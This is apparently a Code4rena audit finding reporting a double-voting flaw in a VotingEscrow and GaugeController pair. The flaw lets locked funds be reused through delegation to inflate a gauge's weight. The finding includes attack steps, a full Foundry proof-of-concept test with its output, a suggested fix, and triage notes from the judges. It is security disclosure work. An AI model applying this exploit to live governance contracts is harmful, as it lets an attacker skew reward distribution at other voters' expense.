Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 47/125
Findings: 1
Award: $36.94
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356-L387 https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211-L278
For the Voting logic: If you voted amount X, you must prevent the user from voting with that amount again.
Unfortunately, the VotingEscrow
contract do not have locking voted amount mechanism. This vulnerability be abused to do malicious action. In the result, attacker can increase weight of a gauge with amount ETH less than actually. For example about attack method:
- Malicious user have 1_001 ether. - Create a lock for an address 1_000 ether. - With 1 ether remaining, the user divide into 10 another addresses (0.1 ether/address) and create lock. - Use first address to vote 100% power for a gauge. - Delegate for 10 addresses and vote one by one with 100% power. -> User successfully exploit the vulnerability.
Describe the concept:
- Have 2 gauges in the `GaugeController`. - Have 3 users controlled by attacker. - Actions: User1 vote 100% for gauge1 -> User1 delegate to user 2 -> User 2 vote 100% for gauge1 -> User1 delegate to user 3 -> User3 vote 100% for gauge1.
Exploit succeed when weight of gauge1 have more weight than normal action (do not delegate)
Run PoC:
poc.sol
in src/test
folderpoc.sol
forge test --force --contracts src/test/poc.sol -vvv
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.16; import "forge-std/Test.sol"; import {Utilities} from "./utils/Utilities.sol"; import {VotingEscrow} from "../VotingEscrow.sol"; import {GaugeController} from "../GaugeController.sol"; contract PoC is Test { Utilities public utils; address payable[] public users; address internal _gov; address internal _user1; address internal _user2; address internal _user3; address internal _gauge1; address internal _gauge2; VotingEscrow public ve; GaugeController public gc; function setUp() public { utils = new Utilities(); users = utils.createUsers(6); (_gov, _user1, _user2, _user3, _gauge1, _gauge2) = ( users[0], users[1], users[2], users[3], users[4], users[5] ); ve = new VotingEscrow("VotingEscrow", "VE"); gc = new GaugeController(address(ve), address(_gov)); //set up gauges vm.startPrank(_gov); gc.add_gauge(_gauge1); gc.add_gauge(_gauge2); gc.change_gauge_weight(_gauge1, 10 ether); gc.change_gauge_weight(_gauge2, 10 ether); vm.stopPrank(); } function testNormalAction() public { // lock 3 users vm.deal(_user1, 1 ether); vm.deal(_user2, 0.0001 ether); vm.deal(_user3, 0.0001 ether); vm.startPrank(_user1); ve.createLock{value: 1 ether}(1 ether); vm.stopPrank(); vm.startPrank(_user2); ve.createLock{value: 0.0001 ether}(0.0001 ether); vm.stopPrank(); vm.startPrank(_user3); ve.createLock{value: 0.0001 ether}(0.0001 ether); vm.stopPrank(); console.log("========="); //user1 vote gauge 100% vm.startPrank(_user1); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); vm.stopPrank(); console.log("========="); //user2 vote gauge 100% vm.startPrank(_user2); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); vm.stopPrank(); console.log("========="); //user3 vote gauge 100% vm.startPrank(_user3); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); vm.stopPrank(); } function testMaliciousAction() public { // lock 3 users vm.deal(_user1, 1 ether); vm.deal(_user2, 0.0001 ether); vm.deal(_user3, 0.0001 ether); vm.startPrank(_user1); ve.createLock{value: 1 ether}(1 ether); vm.stopPrank(); vm.startPrank(_user2); ve.createLock{value: 0.0001 ether}(0.0001 ether); vm.stopPrank(); vm.startPrank(_user3); ve.createLock{value: 0.0001 ether}(0.0001 ether); vm.stopPrank(); console.log("========="); //user1 vote gauge 100% vm.startPrank(_user1); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); //user1 delegate vote to user2 ve.delegate(_user2); vm.stopPrank(); console.log("========="); //user2 vote gauge 100% vm.startPrank(_user2); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); vm.stopPrank(); //user1 delegate vote to user3 vm.startPrank(_user1); ve.delegate(_user3); vm.stopPrank(); console.log("========="); //user3 vote gauge 100% vm.startPrank(_user3); gc.vote_for_gauge_weights(_gauge1, 10_000); console.log("Gauge Weight: ", gc.get_gauge_weight(_gauge1)); console.log("Total: ", gc.get_total_weight()); console.log( "Rate Weight: ", (gc.get_gauge_weight(_gauge1) * 100) / gc.get_total_weight(), "%" ); vm.stopPrank(); } }
The console output:
> forge test --force --contracts src/test/poc1.sol -vvv [â Š] Compiling... [â ƒ] Compiling 23 files with 0.8.17 [â ’] Solc 0.8.17 finished in 15.52s Compiler run successful! Running 2 tests for src/test/poc1.sol:PoC [PASS] testMaliciousAction() (gas: 1894617) Logs: ========= Gauge Weight: 10993424657416307200 Total: 20993424657416307200 Rate Weight: 52 % ========= Gauge Weight: 11986948657323481600 Total: 21986948657323481600 Rate Weight: 54 % ========= Gauge Weight: 12980472657230656000 Total: 22980472657230656000 Rate Weight: 56 % [PASS] testNormalAction() (gas: 1355223) Logs: ========= Gauge Weight: 10993424657416307200 Total: 20993424657416307200 Rate Weight: 52 % ========= Gauge Weight: 10993523999750531200 Total: 20993523999750531200 Rate Weight: 52 % ========= Gauge Weight: 10993623342084755200 Total: 20993623342084755200 Rate Weight: 52 % Test result: ok. 2 passed; 0 failed; finished in 2.09ms
Manual, Foundry
Tracking the voted amount. The contract must prevent the user from voting with voted amount.
Governance
#0 - c4-pre-sort
2023-08-11T13:33:16Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:53Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:13Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:35:27Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:35:39Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:55:07Z
alcueca marked the issue as satisfactory